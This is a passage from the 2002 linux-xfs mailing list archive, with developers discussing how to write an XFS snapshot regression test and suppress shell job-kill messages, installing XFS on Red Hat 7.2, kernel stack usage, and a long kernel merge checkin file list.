> > >> > > I assume I should use the scratch partition to build a lvm structure >> on, then format it with xfs. >> Yes, sounds like the right approach. >> > > One high level question, at the start of the test I assume I should >> check for the correct installation of LVM and error out if it is not >> available. >> See the _notrun shell function and how some other tests use it. >> > > Is that a reasonable behavior? >> > >> > Yep, as you can see there are several tests which will skip execution if >> > certain features are not available. Probably testing the kernel for lvm >> > support (after attempting to load the module) would be a good thing. >> > >> > > >> > > Even higher level, as I have questions, should I ask them on the list, >> or is there a QA person there I should e-mail directly. >> > > >> > >> > Well, you can ask on the list, or ask Nathan Scott (nathans@sgi.com), he >> Fire away if need be Greg & I'll try to help. >> Of the current tests (which can be setup to run every night using >> the top of tree code with the "auto-qa" script), test 064 seems to >> have a timing problem which noone has has a chance to investigate >> yet (looks like an issue with the test), so you can expect that one >> to fail. And I also think Steve sees 021 fail on his box - I don't >> have that failure though, and I suspect a problem in the test or >> the sed/awk/... shell tools from that particular distribution. >> Have fun. >> cheers. >> -- >> Nathan From owner-linux-xfs@oss.sgi.com Tue Aug 27 12:09:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 12:09:46 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RJ9ftG014030 for ; Tue, 27 Aug 2002 12:09:41 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA28658; Tue, 27 Aug 2002 14:13:04 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA09528; Tue, 27 Aug 2002 14:13:04 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RJD2I26165; Tue, 27 Aug 2002 14:13:02 -0500 Subject: Re: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] From: Steve Lord To: Greg Freemyer Cc: Nathan Scott , linux-xfs@oss.sgi.com In-Reply-To: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2> References: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 14:13:02 -0500 Message-Id: <1030475582.16575.94.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 63 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 14:04, Greg Freemyer wrote: > > Nathan, > > I have the very basics of a new test almost working. I'm assuming it will be 068. > > One big problem I have is that I start a background infinite loop of dd's to generate some i/o load. > > i.e. > while true; do > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 > rm /scratch/junk > sync > done >/dev/null 2>&1 & > > At the end of the script I kill this off. Unfortunately, when it dies the parent shell is notifying the user with output like: > > > 068: line 127: 3956 Killed while true; do > > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1; rm /scratch/junk; sync; > > done >/dev/null 2>&1 > > in my 068.out file. Since this has pids in the output, I always get a failure message. > > Is there a way to say that output should not be compared, or do you know some shell trick to avoid having this output generated. > > As you can see above, I tried sending stdout and stderr for the subshell to /dev/null, but that did not help. > If you look at some of the other tests, they use awk and sed to process output to strip variable components like this from the output before comparison. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 12:35:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 12:35:51 -0700 (PDT) Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RJZmtG014842 for ; Tue, 27 Aug 2002 12:35:48 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17jmBE-0000jZ-00; Tue, 27 Aug 2002 20:39:12 +0100 Date: Tue, 27 Aug 2002 20:39:12 +0100 From: Christoph Hellwig To: Andrea Arcangeli Cc: Steve Lord , Jim Eshleman , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020827203912.A2803@infradead.org> References: <3D652F1A.3080005@Lehigh.EDU> <1030041582.10311.105.camel@jen.americas.sgi.com> <20020822194611.A28364@infradead.org> <20020827162129.GG21566@dualathlon.random> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020827162129.GG21566@dualathlon.random>; from andrea@suse.de on Tue, Aug 27, 2002 at 06:21:29PM +0200 Content-Transfer-Encoding: 8bit X-archive-position: 65 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 06:21:29PM +0200, Andrea Arcangeli wrote: > > > Well, just looking at the function names in that stack, it looks like > > > the xfs in the aa kernel is somewhat dated. We did a bunch of work > > > since then to reduce stack usage in XFS. > > > > It's XFS 1.1, the last official release.. > > > > Andrea, would you be interested in more uptodate XFS code for -aa? > > yes, that would be welcome ;) Once the next -aa release is out to resync I'll make a patch. From owner-linux-xfs@oss.sgi.com Tue Aug 27 12:34:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 12:34:37 -0700 (PDT) Received: from imf20bis.bellsouth.net (mail020.mail.bellsouth.net [205.152.58.60]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RJYVtG014651 for ; Tue, 27 Aug 2002 12:34:31 -0700 Received: from TAZ2 ([67.35.80.69]) by imf20bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827193752.ITLZ1175.imf20bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 15:37:52 -0400 Date: Tue, 27 Aug 2002 15:36:36 -0400 From: Greg Freemyer Subject: re[2]: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] To: Steve Lord cc: Nathan Scott , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827193752.ITLZ1175.imf20bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RJYVtG014652 X-archive-position: 64 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> If you look at some of the other tests, they use awk and sed to process >> output to strip variable components like this from the output before >> comparison. >> Steve Steve, I don't know how to get my hands on the output to massage it. As an example of this, at a command prompt type: # sleep 60 & [1] 6728 # kill $! # (wait a couple of seconds then hit a return with no input) [1]+ Terminated sleep 60 # It is the 2 shell notification messages above that are giving me problems. If I knew how to grab them, I could massage them as needed. So I'm hoping there is a way to either tell the test harness to ignore the fact that it does not match. Or that there is a way to disable the notifications. ps, I'm using background sleeps as a timeout to make sure that the snapshot create takes no more than 5 minutes. If the snapshot create completes normally, then I need to kill off the sleep. If there is no clean way to handle these shell notification messages, I can probably figure out a different way to do it. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 13:50:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 13:50:48 -0700 (PDT) Received: from mail.miratek.com ([216.97.55.61]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RKodtG017038 for ; Tue, 27 Aug 2002 13:50:40 -0700 Received: from maherxp [216.144.26.154] by mail.miratek.com with ESMTP (SMTPD32-7.12) id A5996B00B4; Tue, 27 Aug 2002 15:48:25 -0500 Reply-To: From: "Mike" To: Subject: XFS on Redhat 7.2 Date: Tue, 27 Aug 2002 16:53:04 -0400 Message-ID: <000201c24e0b$bdf98b90$fd2a2ac0@hylevel.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Content-Disposition: inline Content-type: text/plain Content-Transfer-Encoding: 8bit Content-length: 639 X-archive-position: 66 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: samba@miratek.com Precedence: bulk X-list: linux-xfs Is there an easy (simple) way to install SGI XFS support on a redhat 7.2. I want to keep all OS volumes (/,/boot,/usr,/home,/var) as ext3. So I do not need XFS at boot time. I just want to create a /scratch directory as XFS on a new scsi disk. Is there a way to add XFS support without having to recompile the kernel or load the modules and add ramdisk options to lilo.conf, etc. may I need to load the modules some where, but I am hoping not to change lilo.conf. My system info is: Red Hat Linux release 7.2 (Enigma) Kernel 2.4.9-34smp on an i686 Any help is greatly appreciated. Thanks, Mike [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Aug 27 14:03:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 14:03:46 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RL3ftG017777 for ; Tue, 27 Aug 2002 14:03:42 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA30124; Tue, 27 Aug 2002 16:07:05 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA10300; Tue, 27 Aug 2002 16:07:05 -0500 (CDT) Date: Tue, 27 Aug 2002 16:05:13 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Mike cc: linux-xfs@oss.sgi.com Subject: Re: XFS on Redhat 7.2 In-Reply-To: <000201c24e0b$bdf98b90$fd2a2ac0@hylevel.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 67 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Mike - You will need a new kernel for XFS, no way around that. The kernels from the 1.1 XFS release in ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/2.4.9-31-RH/ are the closest match to what you're running now, install that kernel (rpm -ivh, so you keep your old kernel too) and boot it up. (double check, ext2/ext3 might be a module, so you might need a ramdisk for that). You'll have XFS support, and not much else has changed. I don't know what changes were made from the -31 to -34 kernels, though. If they're importatnt to you, I don't think we have XFS merged into your particular kernel anywhere. -Eric On Tue, 27 Aug 2002, Mike wrote: > > Is there an easy (simple) way to install SGI XFS support on a redhat > 7.2. I want to keep all OS volumes (/,/boot,/usr,/home,/var) as ext3. So > I do not need XFS at boot time. I just want to create a /scratch > directory as XFS on a new scsi disk. Is there a way to add XFS support > without having to recompile the kernel or load the modules and add > ramdisk options to lilo.conf, etc. may I need to load the modules some > where, but I am hoping not to change lilo.conf. > > My system info is: > Red Hat Linux release 7.2 (Enigma) > Kernel 2.4.9-34smp on an i686 > > Any help is greatly appreciated. > > Thanks, > > Mike > > > > [[HTML alternate version deleted]] > > From owner-linux-xfs@oss.sgi.com Tue Aug 27 14:19:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 14:19:56 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RLJotG018488 for ; Tue, 27 Aug 2002 14:19:51 -0700 Received: from relative.emergence.com ([209.5.172.43] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17jno9-00009W-00; Tue, 27 Aug 2002 15:23:29 -0600 Message-ID: <3D6BEDD6.4070800@emergence.com> Date: Tue, 27 Aug 2002 15:23:34 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Greg Freemyer CC: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] References: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2> X-Enigmail-Version: 0.65.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 68 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs So you're having a problem with the redirection of the & output instead of the while loop output. How about this from the LDP about reassigning STDOUT. #!/bin/bash exec 6>&1 # Link file descriptor #6 with stdout. # Saves stdout. while true; do dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 rm /scratch/junk sync done >/dev/null 2>&1 & exec 0<&6 6<&- # Now restore stdin from fd #6, where it had been saved, #+ and close fd #6 ( 6<&- ) to free it for other processes to use. # # <&6 6<&- also works. I wasn't able to reproduce the result mind you. I would run this script above (without the execs), it would exit immediately, and then I would go and kill it and I recieved no kill messages. Perhaps a better test case would set me straight, this does however generate a lot of disk I/O. REF: http://www.tldp.org/LDP/abs/html/x11693.html#REASSIGNSTDOUT -Mike Greg Freemyer wrote: > Nathan, > > I have the very basics of a new test almost working. I'm assuming it will be 068. > > One big problem I have is that I start a background infinite loop of dd's to generate some i/o load. > > i.e. > while true; do > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 > rm /scratch/junk > sync > done >/dev/null 2>&1 & From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:36:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:36:44 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMaUtG024314 for ; Tue, 27 Aug 2002 15:36:31 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA30849 for ; Tue, 27 Aug 2002 17:39:54 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA18394 for ; Tue, 27 Aug 2002 17:39:53 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RMdoM01944; Tue, 27 Aug 2002 17:39:50 -0500 Message-Id: <200208272239.g7RMdoM01944@jen.americas.sgi.com> Date: Tue, 27 Aug 2002 17:39:50 -0500 Subject: TAKE - merge up to 2.5.32 To: linux-xfs@oss.sgi.com X-archive-position: 69 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Out with the new and in with the old - ide subsystem that is. XFS diff is now way down in this kernel, not really much there anymore. Steve Date: Tue Aug 27 15:32:18 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:126085a linux/drivers/usb/misc/Config.in - 1.1 linux/include/linux/pagevec.h - 1.1 linux/drivers/usb/misc/atmsar.c - 1.1 linux/drivers/usb/misc/atmsar.h - 1.1 linux/Documentation/i2c/i2c-old-porting - 1.1 linux/Documentation/i2c/i2c-pport - 1.1 linux/Documentation/i2c/i2c-velleman - 1.1 linux/drivers/usb/core/buffer.c - 1.1 linux/drivers/usb/misc/speedtouch.c - 1.1 linux/drivers/usb/class/usblp.c - 1.1 linux/drivers/usb/misc/usblcd.c - 1.1 linux/drivers/input/misc/uinput.c - 1.1 linux/scripts/conmakehash.c - 1.1 linux/drivers/input/misc/pcspkr.c - 1.1 linux/drivers/input/misc/Makefile - 1.1 linux/drivers/input/misc/Config.in - 1.1 linux/drivers/input/misc/Config.help - 1.1 linux/fs/aio.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/generic.c - 1.1 linux/arch/alpha/vmlinux.lds.S - 1.1 linux/net/ipv4/netfilter/ipt_DSCP.c - 1.1 linux/drivers/ide/ide-swarm.c - 1.1 linux/drivers/ide/adma100.c - 1.1 linux/arch/ia64/hp/sim/Config.in - 1.1 linux/drivers/i2c/i2c-rpx.c - 1.1 linux/drivers/i2c/i2c-frodo.c - 1.1 linux/drivers/i2c/i2c-algo-ibm_ocp.h - 1.1 linux/drivers/i2c/i2c-algo-ibm_ocp.c - 1.1 linux/drivers/char/genrtc.c - 1.1 linux/drivers/base/intf.c - 1.1 linux/net/ipv4/netfilter/ipt_ECN.c - 1.1 linux/arch/ia64/kernel/perfmon_itanium.h - 1.1 linux/arch/ia64/kernel/perfmon_mckinley.h - 1.1 linux/net/ipv6/netfilter/ip6t_length.c - 1.1 linux/net/ipv6/netfilter/ip6t_eui64.c - 1.1 linux/net/ipv4/netfilter/ipt_pkttype.c - 1.1 linux/net/ipv4/netfilter/ipt_helper.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/Makefile - 1.1 linux/arch/i386/kernel/cpu/mtrr/amd.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/centaur.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/changelog - 1.1 linux/arch/i386/kernel/cpu/mtrr/cyrix.c - 1.1 linux/include/asm-ppc/rtc.h - 1.1 linux/arch/i386/kernel/cpu/mtrr/if.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/main.c - 1.1 linux/arch/i386/kernel/cpu/mtrr/mtrr.h - 1.1 linux/arch/i386/kernel/cpu/mtrr/state.c - 1.1 linux/net/ipv4/netfilter/ipt_ecn.c - 1.1 linux/net/ipv4/netfilter/ipt_dscp.c - 1.1 linux/net/ipv4/netfilter/ipt_conntrack.c - 1.1 linux/include/linux/aio.h - 1.1 linux/include/linux/aio_abi.h - 1.1 linux/arch/ia64/lib/memcpy_mck.S - 1.1 linux/arch/mips64/vmlinux.lds.S - 1.1 linux/drivers/base/fs/intf.c - 1.1 linux/include/asm-alpha/rtc.h - 1.1 linux/drivers/base/fs/class.c - 1.1 linux/include/asm-generic/rtc.h - 1.1 linux/drivers/base/class.c - 1.1 linux/include/asm-i386/rtc.h - 1.1 linux/include/linux/netfilter_ipv6/ip6t_length.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_pkttype.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_helper.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_ecn.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_dscp.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_conntrack.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_ECN.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_DSCP.h - 1.1 linux/include/asm-parisc/rtc.h - 1.1 linux/scripts/lxdialog/Makefile - 1.6 linux/scripts/Makefile - 1.9 linux/net/unix/af_unix.c - 1.48 linux/net/sunrpc/xprt.c - 1.31 linux/net/sunrpc/svcsock.c - 1.20 linux/net/sunrpc/clnt.c - 1.21 linux/net/ipx/af_ipx.c - 1.29 linux/net/ipv4/ipconfig.c - 1.33 linux/net/ethernet/pe2.c - 1.5 linux/net/core/Makefile - 1.11 linux/net/appletalk/ddp.c - 1.22 linux/net/appletalk/aarp.c - 1.14 linux/net/Config.in - 1.26 linux/net/802/psnap.c - 1.8 linux/net/802/p8023.c - 1.5 linux/net/802/p8022.c - 1.9 linux/mm/vmscan.c - 1.108 linux/mm/vmalloc.c - 1.43 linux/mm/swap_state.c - 1.46 linux/mm/swap.c - 1.23 linux/mm/page_alloc.c - 1.87 linux/mm/memory.c - 1.89 linux/mm/filemap.c - 1.130 linux/kernel/sys.c - 1.38 linux/kernel/softirq.c - 1.27 linux/kernel/signal.c - 1.38 linux/kernel/sched.c - 1.78 linux/kernel/printk.c - 1.23 linux/kernel/ksyms.c - 1.159 linux/kernel/kmod.c - 1.24 linux/kernel/fork.c - 1.66 linux/kernel/exit.c - 1.50 linux/init/main.c - 1.87 linux/include/video/fbcon.h - 1.13 linux/include/scsi/sg.h - 1.16 linux/include/net/psnap.h - 1.4 linux/include/net/p8022.h - 1.5 linux/include/net/datalink.h - 1.5 linux/include/linux/wait.h - 1.16 linux/include/linux/vt_kern.h - 1.8 linux/include/linux/vmalloc.h - 1.21 linux/include/linux/ufs_fs.h - 1.16 linux/include/linux/swap.h - 1.63 linux/include/linux/sunrpc/xprt.h - 1.14 linux/include/linux/sunrpc/svcsock.h - 1.6 linux/include/linux/smp_lock.h - 1.7 linux/include/linux/smp.h - 1.20 linux/include/linux/sched.h - 1.79 linux/include/linux/romfs_fs_sb.h - 1.3 linux/include/linux/quota.h - 1.21 linux/include/linux/ptrace.h - 1.3 linux/include/linux/proc_fs.h - 1.38 linux/include/linux/prctl.h - 1.9 linux/include/linux/pagemap.h - 1.45 linux/include/linux/nfsd/nfsd.h - 1.15 linux/include/linux/nfs.h - 1.7 linux/include/linux/netdevice.h - 1.35 linux/include/linux/mm.h - 1.96 linux/include/linux/kernel.h - 1.34 linux/include/linux/kbd_ll.h - 1.3 linux/include/linux/isdn.h - 1.24 linux/include/linux/i2c.h - 1.15 linux/include/linux/hdreg.h - 1.26 linux/include/linux/fs.h - 1.188 linux/include/linux/fb.h - 1.26 linux/include/linux/errno.h - 1.4 linux/include/linux/elfcore.h - 1.5 linux/include/linux/blkdev.h - 1.65 linux/include/linux/binfmts.h - 1.13 linux/include/linux/apm_bios.h - 1.12 linux/include/asm-sparc64/unistd.h - 1.23 linux/include/asm-sparc64/spitfire.h - 1.8 linux/include/asm-sparc64/smplock.h - 1.9 linux/include/asm-sparc64/smp.h - 1.16 linux/include/asm-sparc64/oplib.h - 1.9 linux/include/asm-sparc64/keyboard.h - 1.8 linux/include/asm-sparc64/ide.h - 1.16 linux/include/asm-sparc64/head.h - 1.4 linux/include/asm-sparc64/elf.h - 1.14 linux/include/asm-sparc64/asi.h - 1.5 linux/include/asm-sparc/unistd.h - 1.21 linux/include/asm-sparc/system.h - 1.13 linux/include/asm-sparc/softirq.h - 1.12 linux/include/asm-sparc/smplock.h - 1.7 linux/include/asm-sparc/pgtsrmmu.h - 1.5 linux/include/asm-sparc/pgtable.h - 1.28 linux/include/asm-sparc/page.h - 1.17 linux/include/asm-sparc/oplib.h - 1.5 linux/include/asm-sparc/keyboard.h - 1.8 linux/include/asm-sparc/hardirq.h - 1.13 linux/include/asm-ppc/unistd.h - 1.24 linux/include/asm-ppc/smplock.h - 1.12 linux/include/asm-ppc/machdep.h - 1.24 linux/include/asm-ppc/keyboard.h - 1.14 linux/include/asm-ppc/ide.h - 1.20 linux/include/asm-ppc/cache.h - 1.11 linux/include/asm-mips/smplock.h - 1.7 linux/include/asm-mips/keyboard.h - 1.10 linux/include/asm-m68k/smplock.h - 1.6 linux/include/asm-m68k/keyboard.h - 1.5 linux/include/asm-i386/user.h - 1.6 linux/include/asm-i386/unistd.h - 1.26 linux/include/asm-i386/smplock.h - 1.16 linux/include/asm-i386/smp.h - 1.21 linux/include/asm-i386/segment.h - 1.3 linux/include/asm-i386/processor.h - 1.43 linux/include/asm-i386/ldt.h - 1.4 linux/include/asm-i386/keyboard.h - 1.11 linux/include/asm-i386/ide.h - 1.12 linux/include/asm-i386/hardirq.h - 1.21 linux/include/asm-i386/desc.h - 1.13 linux/include/asm-generic/smplock.h - 1.6 linux/include/asm-arm/smplock.h - 1.7 linux/include/asm-arm/keyboard.h - 1.6 linux/include/asm-alpha/smplock.h - 1.7 linux/include/asm-alpha/keyboard.h - 1.9 linux/fs/ufs/util.h - 1.10 linux/fs/ufs/truncate.c - 1.21 linux/fs/ufs/swab.h - 1.5 linux/fs/ufs/super.c - 1.34 linux/fs/ufs/namei.c - 1.18 linux/fs/ufs/inode.c - 1.24 linux/fs/ufs/ialloc.c - 1.16 linux/fs/ufs/dir.c - 1.19 linux/fs/ufs/cylinder.c - 1.8 linux/fs/ufs/balloc.c - 1.16 linux/fs/romfs/inode.c - 1.37 linux/fs/proc/inode.c - 1.24 linux/fs/proc/base.c - 1.41 linux/fs/ntfs/Makefile - 1.24 linux/fs/nls/nls_iso8859-9.c - 1.8 linux/fs/nls/nls_iso8859-7.c - 1.8 linux/fs/nls/nls_iso8859-6.c - 1.8 linux/fs/nls/nls_iso8859-5.c - 1.8 linux/fs/nls/nls_iso8859-4.c - 1.8 linux/fs/nls/nls_iso8859-3.c - 1.8 linux/fs/nls/nls_iso8859-2.c - 1.8 linux/fs/nls/nls_iso8859-15.c - 1.8 linux/fs/nls/nls_iso8859-1.c - 1.8 linux/fs/nfsd/vfs.c - 1.54 linux/fs/nfsd/nfsproc.c - 1.26 linux/fs/nfsd/nfsfh.c - 1.44 linux/fs/nfsd/nfs3proc.c - 1.16 linux/fs/nfs/read.c - 1.34 linux/fs/nfs/nfs3xdr.c - 1.13 linux/fs/nfs/nfs2xdr.c - 1.16 linux/fs/ncpfs/symlink.c - 1.18 linux/fs/ncpfs/mmap.c - 1.17 linux/fs/ncpfs/inode.c - 1.36 linux/fs/lockd/svclock.c - 1.15 linux/fs/fat/file.c - 1.25 linux/fs/ext2/symlink.c - 1.11 linux/fs/ext2/super.c - 1.36 linux/fs/ext2/namei.c - 1.27 linux/fs/ext2/inode.c - 1.52 linux/fs/ext2/file.c - 1.21 linux/fs/ext2/dir.c - 1.23 linux/fs/exec.c - 1.61 linux/fs/buffer.c - 1.130 linux/fs/block_dev.c - 1.55 linux/fs/Makefile - 1.67 linux/drivers/video/virgefb.c - 1.18 linux/drivers/video/vgacon.c - 1.19 linux/drivers/video/vfb.c - 1.18 linux/drivers/video/vesafb.c - 1.25 linux/drivers/video/valkyriefb.c - 1.19 linux/drivers/video/tgafb.c - 1.20 linux/drivers/video/skeletonfb.c - 1.13 linux/drivers/video/sgivwfb.c - 1.17 linux/drivers/video/sbusfb.c - 1.23 linux/drivers/video/retz3fb.c - 1.19 linux/drivers/video/q40fb.c - 1.15 linux/drivers/video/promcon.c - 1.9 linux/drivers/video/pm2fb.c - 1.17 linux/drivers/video/platinumfb.c - 1.18 linux/drivers/video/offb.c - 1.23 linux/drivers/video/newport_con.c - 1.10 linux/drivers/video/mdacon.c - 1.11 linux/drivers/video/macfb.c - 1.16 linux/drivers/video/leofb.c - 1.12 linux/drivers/video/imsttfb.c - 1.25 linux/drivers/video/igafb.c - 1.19 linux/drivers/video/hpfb.c - 1.16 linux/drivers/video/g364fb.c - 1.14 linux/drivers/video/fm2fb.c - 1.17 linux/drivers/video/fbmem.c - 1.53 linux/drivers/video/fbgen.c - 1.11 linux/drivers/video/fbcon.c - 1.28 linux/drivers/video/fbcon-mfb.c - 1.8 linux/drivers/video/fbcon-ilbm.c - 1.8 linux/drivers/video/fbcon-cfb8.c - 1.8 linux/drivers/video/fbcon-cfb4.c - 1.8 linux/drivers/video/fbcon-cfb32.c - 1.8 linux/drivers/video/fbcon-cfb24.c - 1.8 linux/drivers/video/fbcon-cfb2.c - 1.8 linux/drivers/video/fbcon-cfb16.c - 1.8 linux/drivers/video/fbcon-afb.c - 1.8 linux/drivers/video/dummycon.c - 1.9 linux/drivers/video/dnfb.c - 1.17 linux/drivers/video/cyberfb.c - 1.18 linux/drivers/video/creatorfb.c - 1.15 linux/drivers/video/controlfb.c - 1.24 linux/drivers/video/clgenfb.c - 1.28 linux/drivers/video/chipsfb.c - 1.21 linux/drivers/video/cgthreefb.c - 1.11 linux/drivers/video/cgsixfb.c - 1.14 linux/drivers/video/cgfourteenfb.c - 1.13 linux/drivers/video/atafb.c - 1.18 linux/drivers/video/amifb.c - 1.25 linux/drivers/video/acornfb.c - 1.26 linux/drivers/video/S3triofb.c - 1.14 linux/drivers/video/Makefile - 1.43 linux/drivers/video/Config.in - 1.39 linux/drivers/usb/Makefile - 1.56 linux/drivers/usb/Config.in - 1.60 linux/drivers/scsi/st_options.h - 1.9 linux/drivers/scsi/st.h - 1.16 linux/drivers/scsi/st.c - 1.49 linux/drivers/scsi/sr.c - 1.49 linux/drivers/scsi/sg.c - 1.35 linux/drivers/scsi/scsi_debug.h - 1.9 linux/drivers/scsi/scsi_debug.c - 1.23 linux/drivers/scsi/qlogicisp.c - 1.29 linux/drivers/scsi/ide-scsi.c - 1.43 linux/drivers/scsi/esp.c - 1.23 linux/drivers/scsi/constants.c - 1.13 linux/drivers/scsi/README.st - 1.11 linux/drivers/sbus/sbus.c - 1.18 linux/drivers/pci/proc.c - 1.28 linux/drivers/net/znet.c - 1.10 linux/drivers/net/sunqe.c - 1.22 